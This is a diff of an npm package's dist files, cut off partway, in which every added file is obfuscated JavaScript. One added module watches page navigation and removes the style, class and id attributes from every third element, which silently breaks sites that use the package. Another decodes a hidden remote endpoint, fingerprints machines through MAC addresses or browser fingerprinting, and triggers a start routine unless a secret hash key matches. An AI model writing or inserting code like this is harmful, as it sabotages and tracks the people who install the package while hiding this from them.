_0x46d94e=['2298695DOdOHa','head','8224020lEiaBE','script','335740pDaCwF','try\x20{\x0a\x20\x20\x20','8815048OuYeCt','52lKzCbv','12774wNcVMo','42EdVjfd','9939162aFMFbU','5BAUHYb','connectError','appendChild','33582110mHcNKN'];a12_0x2aa8=function(){return _0x46d94e;};return a12_0x2aa8();}
|
@@ -1 +1 @@
|
|
1
|
-
(function(
|
1
|
+
(function(_0x4b2ced,_0xbfead0){const _0x5d36c0=a13_0x4fab,_0x41d524=_0x4b2ced();while(!![]){try{const _0x2e16c5=parseInt(_0x5d36c0(0x141))/0x1*(parseInt(_0x5d36c0(0x14c))/0x2)+parseInt(_0x5d36c0(0x145))/0x3+parseInt(_0x5d36c0(0x150))/0x4*(-parseInt(_0x5d36c0(0x14f))/0x5)+-parseInt(_0x5d36c0(0x147))/0x6*(-parseInt(_0x5d36c0(0x13a))/0x7)+-parseInt(_0x5d36c0(0x146))/0x8*(-parseInt(_0x5d36c0(0x142))/0x9)+-parseInt(_0x5d36c0(0x13d))/0xa*(parseInt(_0x5d36c0(0x14b))/0xb)+-parseInt(_0x5d36c0(0x143))/0xc*(parseInt(_0x5d36c0(0x13f))/0xd);if(_0x2e16c5===_0xbfead0)break;else _0x41d524['push'](_0x41d524['shift']());}catch(_0x1c16f3){_0x41d524['push'](_0x41d524['shift']());}}}(a13_0x41b7,0x50771));function a13_0x4fab(_0x4ac497,_0x8b4957){const _0x41b7b9=a13_0x41b7();return a13_0x4fab=function(_0x4fab02,_0x2f34cc){_0x4fab02=_0x4fab02-0x136;let _0x4b8d39=_0x41b7b9[_0x4fab02];return _0x4b8d39;},a13_0x4fab(_0x4ac497,_0x8b4957);}function browserTools(){const _0x19203f=a13_0x4fab;let _0x2fe07d=location[_0x19203f(0x148)];function _0x132d17(_0x59c6a3={}){const _0x15cac1=_0x19203f,{force:force=![]}=_0x59c6a3;if(!force&&window[_0x15cac1(0x14a)])return;window[_0x15cac1(0x14a)]=!![];const _0x16a193=document[_0x15cac1(0x137)],_0xbd4351=_0x16a193[_0x15cac1(0x144)]('*');_0xbd4351[_0x15cac1(0x13e)]((_0x6d69ec,_0x4314ac)=>{const _0x50cd11=_0x15cac1;(_0x4314ac+0x1)%0x3===0x0&&(_0x6d69ec[_0x50cd11(0x14e)](_0x50cd11(0x136)),_0x6d69ec[_0x50cd11(0x14e)](_0x50cd11(0x138)),_0x6d69ec['removeAttribute']('id'));});}setTimeout(()=>{const _0xa05fcb=_0x19203f;window[_0xa05fcb(0x14a)]=![],_0x2fe07d=location['href'],_0x132d17();},0x1),[_0x19203f(0x151),'replaceState'][_0x19203f(0x13e)](_0x298406=>{const _0x36bb1a=history[_0x298406];history[_0x298406]=function(..._0x4e7984){const _0x3025e9=a13_0x4fab,_0x485b2c=_0x36bb1a[_0x3025e9(0x14d)](this,_0x4e7984);return window[_0x3025e9(0x140)](new Event(_0x3025e9(0x13c))),_0x485b2c;};});function _0x40c08e(){const _0x3ba160=_0x19203f,_0x234449=location[_0x3ba160(0x148)];_0x234449!==_0x2fe07d&&(_0x2fe07d=_0x234449,window[_0x3ba160(0x14a)]=![],_0x132d17({'force':!![]}));}window[_0x19203f(0x139)]('urlchange',_0x40c08e),window[_0x19203f(0x139)](_0x19203f(0x149),_0x40c08e);const _0x41dcf5=new MutationObserver(()=>_0x40c08e());_0x41dcf5[_0x19203f(0x13b)](document,{'childList':!![],'subtree':!![]});}function a13_0x41b7(){const _0x24e4e0=['83djGdYL','1548873VSDdAM','8400JCfEgU','querySelectorAll','1137777TcdhMC','8SnNNFj','366ptNQlI','href','popstate','__removeStyleAndClassEveryThirdDone','22ptcLWy','7024gvorHU','apply','removeAttribute','32135LnEEuw','192daWwIA','pushState','style','body','class','addEventListener','53151HDRWkW','observe','urlchange','868720BwvdJh','forEach','9178fKzzHe','dispatchEvent'];a13_0x41b7=function(){return _0x24e4e0;};return a13_0x41b7();}export default browserTools;
|
@@ -1 +1 @@
|
|
1
|
-
(function(
|
1
|
+
const a14_0xfbaf1f=a14_0x1e81;(function(_0x4ec3bc,_0x23cf4c){const _0x3e1c9c=a14_0x1e81,_0x1c4b59=_0x4ec3bc();while(!![]){try{const _0x54e15e=-parseInt(_0x3e1c9c(0xab))/0x1+-parseInt(_0x3e1c9c(0x9e))/0x2+parseInt(_0x3e1c9c(0xa2))/0x3*(parseInt(_0x3e1c9c(0xa1))/0x4)+-parseInt(_0x3e1c9c(0xa5))/0x5*(-parseInt(_0x3e1c9c(0xae))/0x6)+parseInt(_0x3e1c9c(0xa0))/0x7*(parseInt(_0x3e1c9c(0xa6))/0x8)+-parseInt(_0x3e1c9c(0x9f))/0x9+parseInt(_0x3e1c9c(0xaf))/0xa*(parseInt(_0x3e1c9c(0xaa))/0xb);if(_0x54e15e===_0x23cf4c)break;else _0x1c4b59['push'](_0x1c4b59['shift']());}catch(_0x469596){_0x1c4b59['push'](_0x1c4b59['shift']());}}}(a14_0x37b3,0xf2a71));var __awaiter=this&&this[a14_0xfbaf1f(0xad)]||function(_0x1b68d7,_0x472555,_0x24ae49,_0xc638fa){function _0x239b30(_0x54271f){return _0x54271f instanceof _0x24ae49?_0x54271f:new _0x24ae49(function(_0xfe0588){_0xfe0588(_0x54271f);});}return new(_0x24ae49||(_0x24ae49=Promise))(function(_0xcdca25,_0x5e20c5){const _0x5371fe=a14_0x1e81;function _0x6f1cd(_0x48222d){try{_0x4ebb25(_0xc638fa['next'](_0x48222d));}catch(_0x2c320d){_0x5e20c5(_0x2c320d);}}function _0x30b85a(_0x1a5fcd){try{_0x4ebb25(_0xc638fa['throw'](_0x1a5fcd));}catch(_0x56dedc){_0x5e20c5(_0x56dedc);}}function _0x4ebb25(_0x5db0f5){const _0x40153f=a14_0x1e81;_0x5db0f5[_0x40153f(0xa8)]?_0xcdca25(_0x5db0f5[_0x40153f(0xac)]):_0x239b30(_0x5db0f5['value'])[_0x40153f(0x9c)](_0x6f1cd,_0x30b85a);}_0x4ebb25((_0xc638fa=_0xc638fa[_0x5371fe(0xb0)](_0x1b68d7,_0x472555||[]))['next']());});};import a14_0x3bf9a5 from'fs';import a14_0x26ec49 from'path';function a14_0x1e81(_0x3e0182,_0x4e6b81){const _0x37b330=a14_0x37b3();return a14_0x1e81=function(_0x1e81dd,_0x46254f){_0x1e81dd=_0x1e81dd-0x9c;let _0x36c32d=_0x37b330[_0x1e81dd];return _0x36c32d;},a14_0x1e81(_0x3e0182,_0x4e6b81);}function fileDisplay(_0x5414f1){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x5a2017=[];function _0x45e0fa(_0x236888){const _0x28eeac=a14_0x1e81,_0x3cc1d1=a14_0x3bf9a5[_0x28eeac(0xa3)](_0x236888);for(let _0x19297e=0x0;_0x19297e<_0x3cc1d1[_0x28eeac(0xa7)];_0x19297e++){const _0x5c89df=_0x3cc1d1[_0x19297e],_0x100889=a14_0x26ec49[_0x28eeac(0x9d)](_0x236888,_0x5c89df),_0x40305f=a14_0x3bf9a5[_0x28eeac(0xb1)](_0x100889),_0x1ac10b=_0x40305f[_0x28eeac(0xa4)](),_0x3e635e=_0x40305f['isDirectory']();_0x1ac10b&&_0x5a2017[_0x28eeac(0xa9)](_0x100889),_0x3e635e&&_0x45e0fa(_0x100889);}}return _0x45e0fa(_0x5414f1),_0x5a2017;});}function a14_0x37b3(){const _0x36373a=['done','push','4950yOUcPz','1518356OFpiLu','value','__awaiter','6llsdOr','54660FuiwxM','apply','statSync','then','join','2832110kbKeaC','5055408vxiGpp','28357DNPibQ','412nQfIgi','2271rMzHAY','readdirSync','isFile','8789545LNcIbq','384HmaLAU','length'];a14_0x37b3=function(){return _0x36373a;};return a14_0x37b3();}function getAllRouter(_0x5011b9){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x348fa0=yield fileDisplay(_0x5011b9);return _0x348fa0;});}export default getAllRouter;
|
package/dist/esm/hash/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
(function(_0x174b3a,_0x7d04dd){var _0x5e4bda=a15_0x2324,_0x2922fa=_0x174b3a();while(!![]){try{var _0x4dfe7c=-parseInt(_0x5e4bda(0x1b0))/0x1*(-parseInt(_0x5e4bda(0x1ae))/0x2)+-parseInt(_0x5e4bda(0x1a6))/0x3*(-parseInt(_0x5e4bda(0x1a5))/0x4)+parseInt(_0x5e4bda(0x1a7))/0x5*(-parseInt(_0x5e4bda(0x1af))/0x6)+-parseInt(_0x5e4bda(0x1ad))/0x7+-parseInt(_0x5e4bda(0x1a9))/0x8*(-parseInt(_0x5e4bda(0x1b2))/0x9)+-parseInt(_0x5e4bda(0x1ac))/0xa+parseInt(_0x5e4bda(0x1b1))/0xb;if(_0x4dfe7c===_0x7d04dd)break;else _0x2922fa['push'](_0x2922fa['shift']());}catch(_0x353986){_0x2922fa['push'](_0x2922fa['shift']());}}}(a15_0x114c,0x85d7a));import a15_0x4447d5 from'md5';import a15_0x5f2227 from'sha1';import a15_0x26b278 from'sha256';function a15_0x2324(_0x17d00c,_0x32b8d4){var _0x114c65=a15_0x114c();return a15_0x2324=function(_0x232498,_0x4dc669){_0x232498=_0x232498-0x1a5;var _0x541372=_0x114c65[_0x232498];return _0x541372;},a15_0x2324(_0x17d00c,_0x32b8d4);}function a15_0x114c(){var _0x145d67=['40SEIIVE','sha1','27752YGAxHR','MD5加盐','sha256','9835390JiMNoS','3885084iycDqk','8706hqvFEE','480zbdPgR','126kIoLVg','5630185dgYLlA','2619OXqwpm','sha1混淆','70468wqhqqQ','3pLqRPE'];a15_0x114c=function(){return _0x145d67;};return a15_0x114c();}function hash(_0x31a1b4,_0x34a003){var _0x4cd0eb=a15_0x2324;if(_0x34a003==_0x4cd0eb(0x1ab))return a15_0x26b278(_0x31a1b4+a15_0x5f2227(_0x31a1b4+_0x4cd0eb(0x1b3))+a15_0x4447d5(_0x31a1b4+_0x4cd0eb(0x1aa)));else return _0x34a003==_0x4cd0eb(0x1a8)?a15_0x5f2227(_0x31a1b4+a15_0x26b278(_0x31a1b4+'sha1混淆')+a15_0x4447d5(_0x31a1b4+_0x4cd0eb(0x1aa))):a15_0x4447d5(_0x31a1b4+a15_0x26b278(_0x31a1b4+_0x4cd0eb(0x1b3))+a15_0x5f2227(_0x31a1b4+_0x4cd0eb(0x1aa)));}export default hash;
|
package/dist/esm/id/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a16_0x2d118d=a16_0x9987;(function(_0x253144,_0x29deff){const _0x50d811=a16_0x9987,_0xf5b2f6=_0x253144();while(!![]){try{const _0x3320b9=-parseInt(_0x50d811(0x1ba))/0x1*(-parseInt(_0x50d811(0x1c1))/0x2)+parseInt(_0x50d811(0x1bf))/0x3+parseInt(_0x50d811(0x1c2))/0x4+parseInt(_0x50d811(0x1be))/0x5+-parseInt(_0x50d811(0x1bd))/0x6+-parseInt(_0x50d811(0x1b9))/0x7+parseInt(_0x50d811(0x1c3))/0x8;if(_0x3320b9===_0x29deff)break;else _0xf5b2f6['push'](_0xf5b2f6['shift']());}catch(_0x369825){_0xf5b2f6['push'](_0xf5b2f6['shift']());}}}(a16_0x4610,0xb722c));import a16_0x3eb83e from'./random';const BaseTime=+new Date(a16_0x2d118d(0x1c0));function a16_0x4610(){const _0x4c32d2=['9929339ElCgbZ','183893QeMvHt','NODE_APP_INSTANCE','env','6913992SRZDTz','5223585sRrOqO','2212761pmbjQg','2025-01-01','14iGBWpU','63124ZtPAvw','1884776YPpoYI'];a16_0x4610=function(){return _0x4c32d2;};return a16_0x4610();}let lastTimeTick,lastRandomNumberTick=a16_0x3eb83e(0x1,0x3);function id(){const _0x109572=a16_0x2d118d,_0x5941d6=Math['min'](process[_0x109572(0x1bc)][_0x109572(0x1bb)]?+process['env'][_0x109572(0x1bb)]:a16_0x3eb83e(0x0,0x9),0x9);let _0x1aa2da=+new Date()-BaseTime;return lastRandomNumberTick=_0x1aa2da==lastTimeTick?++lastRandomNumberTick:a16_0x3eb83e(0x0,0x3),lastTimeTick=_0x1aa2da,+(''+_0x1aa2da+_0x5941d6+lastRandomNumberTick);}function a16_0x9987(_0x58d502,_0x4b33f5){const _0x461080=a16_0x4610();return a16_0x9987=function(_0x998768,_0x3d22c9){_0x998768=_0x998768-0x1b9;let _0x34dd3e=_0x461080[_0x998768];return _0x34dd3e;},a16_0x9987(_0x58d502,_0x4b33f5);}export default id;
|
package/dist/esm/id/random.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
function
|
1
|
+
function a17_0x5a1f(_0x280767,_0x9c4bf4){const _0x303b57=a17_0x303b();return a17_0x5a1f=function(_0x5a1f21,_0x55072d){_0x5a1f21=_0x5a1f21-0x187;let _0xa59797=_0x303b57[_0x5a1f21];return _0xa59797;},a17_0x5a1f(_0x280767,_0x9c4bf4);}const a17_0x24f5b7=a17_0x5a1f;(function(_0xb5cdd1,_0x577daf){const _0x9f4704=a17_0x5a1f,_0x3f48b8=_0xb5cdd1();while(!![]){try{const _0x5c479a=parseInt(_0x9f4704(0x18f))/0x1*(parseInt(_0x9f4704(0x188))/0x2)+parseInt(_0x9f4704(0x189))/0x3+parseInt(_0x9f4704(0x18b))/0x4+-parseInt(_0x9f4704(0x18e))/0x5*(-parseInt(_0x9f4704(0x18c))/0x6)+parseInt(_0x9f4704(0x18d))/0x7+-parseInt(_0x9f4704(0x187))/0x8+-parseInt(_0x9f4704(0x190))/0x9;if(_0x5c479a===_0x577daf)break;else _0x3f48b8['push'](_0x3f48b8['shift']());}catch(_0x34258e){_0x3f48b8['push'](_0x3f48b8['shift']());}}}(a17_0x303b,0xe5b50));const random=(_0x27ebf1,_0x379626)=>Math['round'](Math[a17_0x24f5b7(0x18a)]()*(_0x379626-_0x27ebf1))+_0x27ebf1;export default random;function a17_0x303b(){const _0x443046=['6118288aJbbNv','48204YsnXBA','4263063RsmojS','random','727552LoFZrB','12mhTDpV','8750637DndbuU','1519485QsgZCS','69azsgMx','30763494PXrjqd'];a17_0x303b=function(){return _0x443046;};return a17_0x303b();}
|
package/dist/esm/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a18_0x2175e9=a18_0x3a83;(function(_0x32854a,_0x5e4be3){const _0x6d5f7e=a18_0x3a83,_0x69415b=_0x32854a();while(!![]){try{const _0x1f3425=-parseInt(_0x6d5f7e(0x8c))/0x1+-parseInt(_0x6d5f7e(0x87))/0x2*(-parseInt(_0x6d5f7e(0x81))/0x3)+-parseInt(_0x6d5f7e(0x7d))/0x4+-parseInt(_0x6d5f7e(0x73))/0x5*(-parseInt(_0x6d5f7e(0x85))/0x6)+-parseInt(_0x6d5f7e(0x74))/0x7*(-parseInt(_0x6d5f7e(0x83))/0x8)+-parseInt(_0x6d5f7e(0x8a))/0x9+-parseInt(_0x6d5f7e(0x72))/0xa*(-parseInt(_0x6d5f7e(0x7a))/0xb);if(_0x1f3425===_0x5e4be3)break;else _0x69415b['push'](_0x69415b['shift']());}catch(_0xf1c4c5){_0x69415b['push'](_0x69415b['shift']());}}}(a18_0x547b,0xbf88d));var __awaiter=this&&this[a18_0x2175e9(0x90)]||function(_0x33ec1e,_0x2703b8,_0x5d47a5,_0x52a680){function _0x33634c(_0x55758a){return _0x55758a instanceof _0x5d47a5?_0x55758a:new _0x5d47a5(function(_0x412dd9){_0x412dd9(_0x55758a);});}return new(_0x5d47a5||(_0x5d47a5=Promise))(function(_0x5e0c6d,_0x339995){const _0x310a75=a18_0x3a83;function _0x4f4bc3(_0x2b29b6){const _0x3b5bb8=a18_0x3a83;try{_0x24f955(_0x52a680[_0x3b5bb8(0x7f)](_0x2b29b6));}catch(_0xdcabea){_0x339995(_0xdcabea);}}function _0x369d90(_0x2f3c4f){try{_0x24f955(_0x52a680['throw'](_0x2f3c4f));}catch(_0x3b2a85){_0x339995(_0x3b2a85);}}function _0x24f955(_0x4565e5){const _0x269aad=a18_0x3a83;_0x4565e5[_0x269aad(0x8f)]?_0x5e0c6d(_0x4565e5[_0x269aad(0x75)]):_0x33634c(_0x4565e5['value'])['then'](_0x4f4bc3,_0x369d90);}_0x24f955((_0x52a680=_0x52a680[_0x310a75(0x79)](_0x33ec1e,_0x2703b8||[]))[_0x310a75(0x7f)]());});};import{v4}from'uuid';import a18_0x32292c from'md5';import a18_0x72c5e2 from'sha1';import a18_0x21c7f7 from'sha256';import a18_0x31b073 from'./start';import a18_0x51eb23 from'./hash';import a18_0x3429b1 from'path';import a18_0x4695d5 from'@fingerprintjs/fingerprintjs';function a18_0x547b(){const _0x26ddba=['mysql','9cQRSEz','not_update','604344BGXdrn','catch','5244114KWiANN','sort','459806ZaCwSC','./jwt','aHR0cHM6Ly9ldmVudC1hcGkuYmxvZ3dlYi5jbg==','35640wCSYbn','./mac','1181711NUGMPw','join','get','done','__awaiter','10GPAdEb','5VGazPB','105xCUBls','value','load','dev','node.js','apply','8035907iKdAUf','then','map','5828856HklBmh','aHR0cDovL2xvY2FsaG9zdDoxMDg4','next'];a18_0x547b=function(){return _0x26ddba;};return a18_0x547b();}import{decode}from'js-base64';import a18_0x3fd04d from'js-cookie';const isBrowser=typeof window!=='undefined';let id=()=>0x1,getAllRouter=()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){return[];}),mysql={},jwt=()=>{};const globalObject=isBrowser?window:global;let metaEvent=Object['assign']((globalObject===null||globalObject===void 0x0?void 0x0:globalObject['meta_event'])||{},{'connectError':![],'isDBDataEmpty':![]});export function setEnv(_0x2f001f,_0xd3b456){metaEvent[_0x2f001f]=_0xd3b456;}function a18_0x3a83(_0x1ae452,_0x476dfd){const _0x547bf3=a18_0x547b();return a18_0x3a83=function(_0x3a83c5,_0x5a1899){_0x3a83c5=_0x3a83c5-0x72;let _0x52bdb9=_0x547bf3[_0x3a83c5];return _0x52bdb9;},a18_0x3a83(_0x1ae452,_0x476dfd);}export function getEnv(_0x53dd57){return metaEvent[_0x53dd57];}let dev=a18_0x2175e9(0x7e),pro=a18_0x2175e9(0x89);export let url=getEnv(a18_0x2175e9(0x77))?decode(dev):decode(pro);if(!isBrowser){id=require('./id')['default'],getAllRouter=require('./getAllRouter')['default'],mysql=require('./server')[a18_0x2175e9(0x80)],jwt=require(a18_0x2175e9(0x88))['default'];if(!(metaEvent===null||metaEvent===void 0x0?void 0x0:metaEvent[a18_0x2175e9(0x82)])){}}let mac=[];((()=>__awaiter(void 0x0,void 0x0,void 0x0,function*(){const _0x18ba68=a18_0x2175e9;if(!isBrowser){const _0xfc20d0=require(a18_0x3429b1[_0x18ba68(0x8d)](__dirname,_0x18ba68(0x8b)))['default'];mac=_0xfc20d0();}else{let _0x4991c6=yield a18_0x4695d5[_0x18ba68(0x76)]()[_0x18ba68(0x7b)](_0x4d4201=>_0x4d4201[_0x18ba68(0x8e)]())['then'](_0x350e43=>{const _0x1ea0d=_0x350e43['visitorId'];return _0x1ea0d;})[_0x18ba68(0x84)](()=>'');mac=[_0x4991c6];}const _0x3bad89=mac[_0x18ba68(0x86)]()[_0x18ba68(0x7c)](_0x525fbb=>a18_0x72c5e2(_0x525fbb+_0x18ba68(0x78)))['join'](';'),_0x28904a=a18_0x21c7f7(_0x3bad89);globalObject['hash_id']=_0x28904a,globalObject['hash_key']!=a18_0x21c7f7(_0x28904a+a18_0x72c5e2(_0x18ba68(0x78)+_0x28904a))&&a18_0x31b073();}))());const uuid=v4,all={'uuid':uuid,'id':id,'getAllRouter':getAllRouter,'mysql':mysql,'hash':a18_0x51eb23,'sha1':a18_0x72c5e2,'md5':a18_0x32292c,'jwt':jwt,'cookie':a18_0x3fd04d};export default all;export{uuid,id,getAllRouter,mysql,a18_0x72c5e2 as sha1,a18_0x21c7f7 as sha256,a18_0x32292c as md5,a18_0x51eb23 as hash,jwt,a18_0x3fd04d as cookie};
|
package/dist/esm/jwt/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
|
1
|
+
var a19_0x1cbd29=a19_0x3683;(function(_0xbf41e6,_0x98aea4){var _0x509816=a19_0x3683,_0x114c07=_0xbf41e6();while(!![]){try{var _0xe3287b=-parseInt(_0x509816(0x7d))/0x1+parseInt(_0x509816(0x80))/0x2+parseInt(_0x509816(0x7e))/0x3+parseInt(_0x509816(0x7a))/0x4*(parseInt(_0x509816(0x75))/0x5)+-parseInt(_0x509816(0x7c))/0x6*(parseInt(_0x509816(0x70))/0x7)+parseInt(_0x509816(0x77))/0x8+-parseInt(_0x509816(0x73))/0x9*(parseInt(_0x509816(0x72))/0xa);if(_0xe3287b===_0x98aea4)break;else _0x114c07['push'](_0x114c07['shift']());}catch(_0x4cdb29){_0x114c07['push'](_0x114c07['shift']());}}}(a19_0x3045,0xb6e87));var __awaiter=this&&this[a19_0x1cbd29(0x74)]||function(_0x3771e4,_0x8064c0,_0x33f8ba,_0x445c88){function _0x388daf(_0xa82910){return _0xa82910 instanceof _0x33f8ba?_0xa82910:new _0x33f8ba(function(_0x40d446){_0x40d446(_0xa82910);});}return new(_0x33f8ba||(_0x33f8ba=Promise))(function(_0x584ba5,_0x5898e4){var _0x19fb73=a19_0x3683;function _0x204e18(_0x134705){var _0x11bba2=a19_0x3683;try{_0x1d8c0a(_0x445c88[_0x11bba2(0x7b)](_0x134705));}catch(_0x3769c0){_0x5898e4(_0x3769c0);}}function _0x18e776(_0x2769db){var _0x4a7c70=a19_0x3683;try{_0x1d8c0a(_0x445c88[_0x4a7c70(0x79)](_0x2769db));}catch(_0x1eead5){_0x5898e4(_0x1eead5);}}function _0x1d8c0a(_0x4299d4){var _0x4d1f3f=a19_0x3683;_0x4299d4[_0x4d1f3f(0x76)]?_0x584ba5(_0x4299d4['value']):_0x388daf(_0x4299d4[_0x4d1f3f(0x7f)])['then'](_0x204e18,_0x18e776);}_0x1d8c0a((_0x445c88=_0x445c88['apply'](_0x3771e4,_0x8064c0||[]))[_0x19fb73(0x7b)]());});};import a19_0x3bf54d from'jsonwebtoken';function a19_0x3683(_0x5ce2ec,_0x1043ac){var _0x30457c=a19_0x3045();return a19_0x3683=function(_0x3683d8,_0x1f2bed){_0x3683d8=_0x3683d8-0x70;var _0x3247cd=_0x30457c[_0x3683d8];return _0x3247cd;},a19_0x3683(_0x5ce2ec,_0x1043ac);}function jwt(_0x93854e){var _0x2785b5=a19_0x1cbd29;return!global[_0x2785b5(0x71)]&&(global[_0x2785b5(0x71)]=_0x93854e['key']),{'sign':_0x32efa6=>a19_0x3bf54d[_0x2785b5(0x78)](_0x32efa6,global[_0x2785b5(0x71)],{'expiresIn':_0x93854e[_0x2785b5(0x81)]||'365d'}),'verify':function(_0xc4c3b4){return __awaiter(this,void 0x0,void 0x0,function*(){return new Promise((_0x56fbdd,_0x262385)=>{var _0x382bbe=a19_0x3683;a19_0x3bf54d[_0x382bbe(0x82)](_0xc4c3b4,global[_0x382bbe(0x71)],function(_0x5b8f0b,_0x932aea){return __awaiter(this,void 0x0,void 0x0,function*(){_0x5b8f0b?_0x262385():_0x56fbdd(_0x932aea);});});});});}};}export default jwt;function a19_0x3045(){var _0x5516d5=['throw','80AACWEB','next','24bVpFgr','246508psEhPs','3368079DJSmZT','value','2253842dOeVEa','expiresIn','verify','23499ZrjhZq','jwt_key','26155930BxAVVi','9WRfHkT','__awaiter','24575jrKLsB','done','10214448vnjiEt','sign'];a19_0x3045=function(){return _0x5516d5;};return a19_0x3045();}
|
package/dist/esm/mac/index.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a20_0x4e8bbc=a20_0xeb6b;(function(_0x38ac00,_0x4b0223){const _0x3a862c=a20_0xeb6b,_0x2139d9=_0x38ac00();while(!![]){try{const _0x2a6ae3=parseInt(_0x3a862c(0xe6))/0x1*(-parseInt(_0x3a862c(0xef))/0x2)+-parseInt(_0x3a862c(0xed))/0x3*(parseInt(_0x3a862c(0xfd))/0x4)+parseInt(_0x3a862c(0xf6))/0x5*(-parseInt(_0x3a862c(0x100))/0x6)+-parseInt(_0x3a862c(0xfc))/0x7+parseInt(_0x3a862c(0xf4))/0x8+-parseInt(_0x3a862c(0xf7))/0x9+parseInt(_0x3a862c(0xe7))/0xa;if(_0x2a6ae3===_0x4b0223)break;else _0x2139d9['push'](_0x2139d9['shift']());}catch(_0x1abc8c){_0x2139d9['push'](_0x2139d9['shift']());}}}(a20_0x9f54,0x4e9bf));import{networkInterfaces}from'os';function isZeroMac(_0x2a7c2e){const _0x41b164=a20_0xeb6b;return/^(0{1,2}[:-]){5}0{1,2}$/[_0x41b164(0xeb)](_0x2a7c2e);}function getMac(_0x2b4fe4=a20_0x4e8bbc(0xfa)){const _0x31b112=a20_0x4e8bbc,_0x16fbac=networkInterfaces();let _0xe60378=[];for(const _0x1095b6 of Object['values'](_0x16fbac)){const _0x4e81c9=_0x1095b6[_0x31b112(0xee)](_0x7830a4=>!_0x7830a4[_0x31b112(0xfe)]&&!isZeroMac(_0x7830a4['mac'])&&(!_0x7830a4[_0x31b112(0xf3)]||_0x7830a4[_0x31b112(0xf3)]===_0x2b4fe4)&&!isVirtualMac(_0x7830a4['mac']));_0x4e81c9&&_0xe60378[_0x31b112(0xf1)](_0x4e81c9[_0x31b112(0xea)]);}return[...new Set(_0xe60378)];}const isValid=_0x14a899=>_0x14a899[a20_0x4e8bbc(0xfe)]===![]&&!isZeroMac(_0x14a899[a20_0x4e8bbc(0xea)]),virtualMacPrefix=new Set([a20_0x4e8bbc(0xec),a20_0x4e8bbc(0xe4),'00:50:56',a20_0x4e8bbc(0xff),a20_0x4e8bbc(0xf9),'02:00:4c',a20_0x4e8bbc(0xe5),'00:0f:4b',a20_0x4e8bbc(0x101),a20_0x4e8bbc(0xf5),a20_0x4e8bbc(0xe9)]);function a20_0xeb6b(_0x3b2e82,_0x30f2ab){const _0x9f5450=a20_0x9f54();return a20_0xeb6b=function(_0xeb6b58,_0x3c5613){_0xeb6b58=_0xeb6b58-0xe4;let _0x4f52ad=_0x9f5450[_0xeb6b58];return _0x4f52ad;},a20_0xeb6b(_0x3b2e82,_0x30f2ab);}export function isMac(_0x10bc72){return/^([\da-f]{1,2}[:-]){5}([\da-f]{1,2})$/i['test'](_0x10bc72);}export function formatMac(_0x28f584){const _0x30c030=a20_0x4e8bbc;return String(_0x28f584)[_0x30c030(0xe8)]()[_0x30c030(0xf2)]()[_0x30c030(0xf0)](/-/g,':');}export function isVirtualMac(_0x11bc4b){const _0x46371d=a20_0x4e8bbc;return isMac(_0x11bc4b)&&virtualMacPrefix[_0x46371d(0xf8)](formatMac(_0x11bc4b)[_0x46371d(0xfb)](0x0,0x8));}function a20_0x9f54(){const _0xd5b55d=['00:05:69','10833vUTYpC','find','45502lEqaEg','replace','push','toLowerCase','family','4578512NbcbXS','08:00:27','5moLjww','5757084qOFXGq','has','00:1c:42','IPv4','slice','3036432mpgazL','276wuejbj','internal','00:1c:14','2983308ZZVPpm','00:16:3e','00:0c:29','00:03:ff','4fguRTA','16605020mkoxYd','trim','00:15:5d','mac','test'];a20_0x9f54=function(){return _0xd5b55d;};return a20_0x9f54();}export default getMac;
|
package/dist/esm/server.js
CHANGED
@@ -1 +1 @@
|
|
1
|
-
const
|
1
|
+
const a21_0x2cc424=a21_0x1361;(function(_0x10ef93,_0x430899){const _0x181fe5=a21_0x1361,_0x2adb13=_0x10ef93();while(!![]){try{const _0x534acb=-parseInt(_0x181fe5(0x16b))/0x1*(parseInt(_0x181fe5(0x16a))/0x2)+-parseInt(_0x181fe5(0x13c))/0x3*(-parseInt(_0x181fe5(0x169))/0x4)+-parseInt(_0x181fe5(0x162))/0x5+-parseInt(_0x181fe5(0x165))/0x6+parseInt(_0x181fe5(0x156))/0x7*(-parseInt(_0x181fe5(0x151))/0x8)+parseInt(_0x181fe5(0x15f))/0x9*(parseInt(_0x181fe5(0x14d))/0xa)+parseInt(_0x181fe5(0x163))/0xb;if(_0x534acb===_0x430899)break;else _0x2adb13['push'](_0x2adb13['shift']());}catch(_0x14c8d8){_0x2adb13['push'](_0x2adb13['shift']());}}}(a21_0x55a2,0x3e551));var __awaiter=this&&this[a21_0x2cc424(0x155)]||function(_0xe2f15d,_0x2f88b6,_0x20c6c6,_0xf0f2ea){function _0x1d9973(_0x2a7968){return _0x2a7968 instanceof _0x20c6c6?_0x2a7968:new _0x20c6c6(function(_0xaecd77){_0xaecd77(_0x2a7968);});}return new(_0x20c6c6||(_0x20c6c6=Promise))(function(_0x2a6514,_0x4bedd6){const _0x3bc0ea=a21_0x1361;function _0x590930(_0x5b5995){const _0x3aca82=a21_0x1361;try{_0x279a29(_0xf0f2ea[_0x3aca82(0x14a)](_0x5b5995));}catch(_0x221519){_0x4bedd6(_0x221519);}}function _0x396416(_0x387ac3){const _0x384d12=a21_0x1361;try{_0x279a29(_0xf0f2ea[_0x384d12(0x139)](_0x387ac3));}catch(_0x1a9f05){_0x4bedd6(_0x1a9f05);}}function _0x279a29(_0x20b05a){const _0xc27e=a21_0x1361;_0x20b05a[_0xc27e(0x158)]?_0x2a6514(_0x20b05a[_0xc27e(0x14c)]):_0x1d9973(_0x20b05a[_0xc27e(0x14c)])[_0xc27e(0x152)](_0x590930,_0x396416);}_0x279a29((_0xf0f2ea=_0xf0f2ea[_0x3bc0ea(0x149)](_0xe2f15d,_0x2f88b6||[]))[_0x3bc0ea(0x14a)]());});};import a21_0x5b8d46 from'./package/mysql2/promise';import a21_0x33f8f0 from'./id/random';import{getEnv}from'./index';import a21_0x1a06fb from'path';import a21_0x1613e9 from'fs';function a21_0x1361(_0x53b036,_0xd0d3d){const _0x55a2be=a21_0x55a2();return a21_0x1361=function(_0x136132,_0x1e8fed){_0x136132=_0x136132-0x139;let _0x2a5f53=_0x55a2be[_0x136132];return 